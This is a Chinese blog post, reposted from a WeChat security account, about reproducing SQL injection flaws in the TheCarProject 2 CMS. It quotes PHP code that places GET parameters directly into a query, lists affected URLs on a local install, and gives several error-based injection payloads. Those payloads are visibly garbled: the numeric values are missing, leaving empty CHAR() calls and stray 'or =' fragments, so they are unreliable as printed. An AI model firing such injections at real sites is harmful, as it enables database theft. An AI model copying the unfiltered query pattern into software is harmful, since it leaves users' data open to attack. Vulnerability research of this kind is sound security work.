前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次失望的漏洞复现过程

记一次失望的漏洞复现过程

作者头像
用户5878089
发布2019-07-25 16:40:03
1.3K0
发布2019-07-25 16:40:03
举报

前言,聊点其他的

最近一直都在不断的复现漏洞,分析,代码审计,然而,学习的速度总是跟不上技术发展,迭代的速度,这让人疲于应付。又由于团队内部出现了点问题,一直都很缺人,所以在此也打一个广告,欢迎志同道合的人后台留言一起分析漏洞,共同进步,共同提高。

复现漏洞意义在于能快速的学习已有的漏洞,分析漏洞的成因,提升自己分析代码的能力,反正我个人是这么理解的,不知您意下如何。

漏洞复现的难点在于不同环境的搭建,每个漏洞的成因都有其特殊的环境,这往往和代码不一样。或插件,或依赖,或环境,或配置,或数据。复现漏洞的环境也是复现环境的过程,在这个过程中能提高自己对不同环境的适应能力,也能加深自己对不同操作系统的理解。

你复现不复现,漏洞都在那里,不同是,复现之后的漏洞似乎更加可爱一点。

说了这么多废话,只是为了凑字数,今天看的漏洞很low。

漏洞介绍

这次的cms是TheCarProject 2,是一个比较小众的cms,国外的。

在我国貌似没有几个人用这个。

不管了。

环境搭建

下载网址:

代码语言:javascript
复制
 https://sourceforge.net/projects/thecarproject/

我的复现环境是kali+apache2+php+mysql

方法是直接解压 然后

cp直接解压到/var/www/html

代码分析

如题:看了代码确实让我很是失望,因为啊前段话不错的一个网站,后台的代码这么脆。。。。。。

后台所的文件中的$_GET['man_id']都没有过滤,存在不同程度的注入,

而且是可以直接输出的那种sqlmap可以直接跑出结果的那种。。。。。

简单跟了下变量:

所有的参数都是这么个套路:

代码语言:javascript
复制
  $motor_id = $_GET['car_id'];
  $cpr_query_line = "select * from motor_info where motor_id = " . $motor_id;
  $cpr_motor_query = mysqli_query($link, $cpr_query_line);
  $cpr_motor_info = mysqli_fetch_array($cpr_motor_query, MYSQLI_ASSOC);

然后就是各种echo了

受影响的url有

代码语言:javascript
复制
 http://localhost/TheCarProject/cp/includes/loaditem.php?man_id=-1
 http://localhost/TheCarProject/cp/info.php?man_id=3&car_id=-1
 http://localhost/TheCarProject/cp/item_listing.php?man_id=-1

payload(主要是报错注入的payload)

代码语言:javascript
复制
-1 or 1=1 and (SELECT  and ROW(,)>(SELECT COUNT(*),CONCAT(CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),0x3a,FLOOR(RAND()*))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

-1 or = and (SELECT  and ROW(,)>(SELECT COUNT(*),CONCAT(CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),0x3a,FLOOR(RAND()*))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

or = and (SELECT  and ROW(,)>(SELECT
COUNT(*),CONCAT(CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),0x3a,FLOOR(RAND()*))x
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
-1 or = and (SELECT  and ROW(,)>(SELECT COUNT(*),CONCAT(CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),0x3a,FLOOR(RAND()*))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)


or = and (SELECT  and ROW(,)>(SELECT
COUNT(*),CONCAT(CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),CHAR(),0x3a,FLOOR(RAND()*))x
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

没有什么技术含量,大牛见笑了。

不管怎么low,它都是洞。。。。。。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-03-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言,聊点其他的
  • 漏洞介绍
  • 环境搭建
  • 代码分析
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档